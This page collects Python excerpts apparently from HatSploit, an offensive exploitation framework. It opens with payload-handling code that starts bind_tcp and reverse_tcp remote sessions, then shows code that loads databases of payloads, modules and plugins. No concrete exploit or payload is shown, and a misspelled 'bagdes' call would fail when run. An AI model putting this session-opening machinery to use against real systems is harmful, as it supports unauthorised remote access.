                    self.badges.output_error("Invalid payload category!")
                    return False
            else:
                self.badges.output_error("Failed to execute payload stage!")
                return False

        if payload['Type'].lower() == 'one_side':
            self.badges.output_warning(
                "Payload completed but no session was created.")
            return True

        session = payload['Session'] if payload[
            'Session'] is not None else HatSploitSession

        if payload['Type'].lower() == 'bind_tcp':
            new_session = self.connect_session(host, port, timeout, session)
            remote_host = host
            if not new_session:
                return False

        if payload['Type'].lower() == 'reverse_tcp':
            new_session, remote_host = self.listen_session(
                host, port, timeout, session)
            if not new_session and not remote_host:
                return False

        new_session = self.set_session_details(payload, new_session)
        session_platform = new_session.details['Platform']
        session_type = new_session.details['Type']

        session_id = self.sessions.add_session(session_platform, session_type,
                                               remote_host, port, new_session)
        self.badges.output_success("Session " + str(session_id) + " opened!")
        return True
Example #28
0
class DB:
    def __init__(self):
        self.badges = Badges()
        self.local_storage = LocalStorage()

    def disconnect_payloads_database(self, name):
        if self.local_storage.get("connected_payloads_databases"):
            if name in self.local_storage.get("connected_payloads_databases"):
                self.local_storage.delete_element(
                    "connected_payloads_databases", name)
                self.local_storage.delete_element("payloads", name)
                return
        self.badges.output_error("No such payloads database connected!")

    def disconnect_modules_database(self, name):
        if self.local_storage.get("connected_modules_databases"):
            if name in self.local_storage.get("connected_modules_databases"):
                self.local_storage.delete_element(
                    "connected_modules_databases", name)
                self.local_storage.delete_element("modules", name)
                return
        self.badges.output_error("No such modules database connected!")

    def disconnect_plugins_database(self, name):
        if self.local_storage.get("connected_plugins_databases"):
            if name in self.local_storage.get("connected_plugins_databases"):
                self.local_storage.delete_element(
                    "connected_plugins_databases", name)
                self.local_storage.delete_element("plugins", name)
                return
        self.badges.output_error("No such plugins database connected!")

    def connect_payloads_database(self, name, path):
        if self.local_storage.get("connected_payloads_databases"):
            if name in self.local_storage.get("connected_payloads_databases"):
                self.bagdes.output_error(
                    "Payloads database already connected!")
                return
        if not os.path.exists(path) or not str.endswith(path, "json"):
            self.badges.output_error("Not a payloads database!")
            return

        try:
            database = json.load(open(path))
        except Exception:
            self.badges.output_error("Failed to connect payloads database!")
            return

        if '__database__' not in database.keys():
            self.badges.output_error("No __database__ section found!")
            return
        if database['__database__']['type'] != "payloads":
            self.badges.output_error("Not a payloads database!")
            return
        del database['__database__']

        payloads = {name: database}

        data = {name: {'path': path}}
        if not self.local_storage.get("connected_payloads_databases"):
            self.local_storage.set("connected_payloads_databases", dict())
        self.local_storage.update("connected_payloads_databases", data)

        if self.local_storage.get("payloads"):
            self.local_storage.update("payloads", payloads)
        else:
            self.local_storage.set("payloads", payloads)

    def connect_modules_database(self, name, path):
        if self.local_storage.get("connected_modules_databases"):
            if name in self.local_storage.get("connected_modules_databases"):
                self.bagdes.output_error("Modules database already connected!")
                return
        if not os.path.exists(path) or not str.endswith(path, "json"):
            self.badges.output_error("Not a modules database!")
            return

        try:
            database = json.load(open(path))
        except Exception:
            self.badges.output_error("Failed to connect modules database!")
            return

        if '__database__' not in database.keys():
            self.badges.output_error("No __database__ section found!")
            return
        if database['__database__']['type'] != "modules":
            self.badges.output_error("Not a modules database!")
            return
        del database['__database__']

        modules = {name: database}

        data = {name: {'path': path}}
        if not self.local_storage.get("connected_modules_databases"):
            self.local_storage.set("connected_modules_databases", dict())
        self.local_storage.update("connected_modules_databases", data)

        if self.local_storage.get("modules"):
            self.local_storage.update("modules", modules)
        else:
            self.local_storage.set("modules", modules)

    def connect_plugins_database(self, name, path):
        if self.local_storage.get("connected_plugins_databases"):
            if name in self.local_storage.get("connected_plugins_databases"):
                self.bagdes.output_error("Plugins database already connected!")
                return
        if not os.path.exists(path) or not str.endswith(path, "json"):
            self.badges.output_error("Not a database!")
            return

        try:
            database = json.load(open(path))
        except Exception:
            self.badges.output_error("Failed to connect plugins database!")
            return

        if '__database__' not in database.keys():
            self.badges.output_error("No __database__ section found!")
            return
        if database['__database__']['type'] != "plugins":
            self.badges.output_error("Not a plugins database!")
            return
        del database['__database__']

        plugins = {name: database}

        data = {name: {'path': path}}
        if not self.local_storage.get("connected_plugins_databases"):
            self.local_storage.set("connected_plugins_databases", dict())
        self.local_storage.update("connected_plugins_databases", data)

        if self.local_storage.get("plugins"):
            self.local_storage.update("plugins", plugins)
        else:
            self.local_storage.set("plugins", plugins)
Example #29
0
 def __init__(self):
     self.importer = Importer()
     self.local_storage = LocalStorage()
     self.badges = Badges()
Example #30
0
 def __init__(self):
     self.badges = Badges()
     self.local_storage = LocalStorage()